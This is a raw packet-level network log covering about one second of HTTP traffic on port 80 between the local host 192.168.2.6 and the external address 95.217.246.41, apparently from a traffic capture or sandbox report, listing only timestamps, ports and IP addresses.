Nov 3, 2022 12:47:20.792098045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792100906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792135954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792144060 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792174101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792181015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792206049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792212009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792237997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792248011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792269945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792299986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792309046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792309046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792340040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792349100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792382956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792386055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792429924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792445898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792479992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792488098 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792514086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792527914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792546988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792555094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792588949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792591095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792623997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792629004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792659044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792670965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792694092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792707920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792726040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792735100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792761087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792766094 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792784929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792809963 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792819977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792828083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792855978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792864084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792890072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792891979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792924881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792937040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792958021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792969942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.792992115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.792996883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793025017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793032885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793064117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793067932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793102026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793107033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793133974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793139935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793168068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793174982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793200970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793214083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793236971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793251991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793284893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793292999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793318987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793322086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793353081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793354988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793385983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793400049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793420076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793421030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793453932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793461084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793488026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793489933 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793525934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793533087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793566942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793571949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793601036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793611050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793634892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793647051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793677092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793678045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793711901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793715954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793746948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793749094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793781042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793796062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793817997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793829918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793860912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793862104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793901920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793904066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793939114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793941021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.793973923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.793982029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794007063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794019938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794049025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794055939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794090033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794092894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794126987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794132948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794158936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794182062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794193983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794193983 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794226885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794231892 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794259071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794260025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794295073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794306040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794331074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794337988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794364929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794369936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794401884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794405937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794440985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794444084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794488907 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794507980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794550896 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794552088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794568062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794600010 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794605017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794640064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794642925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794651985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794680119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794682980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794715881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794717073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794753075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794759035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794787884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794800997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794822931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794836998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.794902086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794909954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794919014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.794953108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795000076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795032978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795068026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795100927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795141935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795175076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795208931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795242071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795275927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795311928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795319080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795348883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795348883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795348883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795348883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.795361042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.813740969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.813812017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.820758104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.820878029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.820923090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.820945978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.820951939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.820987940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821012974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821053028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821077108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821115017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821144104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821181059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821208000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821247101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821271896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821310997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821333885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821371078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821391106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821429014 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821449041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821491957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821512938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821553946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821573973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821613073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821630955 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821676016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821696043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821737051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821755886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821795940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821816921 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821856022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821881056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821919918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.821945906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.821985960 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822011948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822048903 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822076082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822115898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822141886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822180033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822199106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822252989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822263002 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822298050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822313070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822349072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822362900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822397947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.822412968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.822448015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833376884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833436012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833476067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833503962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833503962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833515882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833543062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833549023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833550930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833576918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833601952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833622932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833648920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833679914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833688974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833714962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833725929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833736897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833764076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833782911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833801031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833801985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833836079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833836079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833872080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833873034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833904982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833908081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833944082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833945990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.833981037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.833981991 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834019899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834021091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834062099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834065914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834103107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834105015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834142923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834147930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834182978 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834183931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834220886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834225893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834265947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834276915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834312916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834319115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834347010 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834352016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834387064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834391117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834419966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834428072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834460974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834495068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834501982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834506989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834539890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834547043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834567070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834577084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834594965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834609032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834621906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834630966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834649086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834659100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834677935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834702015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834705114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834718943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834732056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834744930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834758043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834764004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834786892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834788084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834813118 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834817886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834840059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834845066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834866047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834886074 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834912062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834917068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834973097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.834995985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.834999084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835007906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835026026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835036039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835055113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835061073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835100889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835160971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835189104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835200071 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835213900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835227966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835239887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835247040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835268021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835273981 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835295916 CET	80	49708	95.217.246.41	192.168.2.6
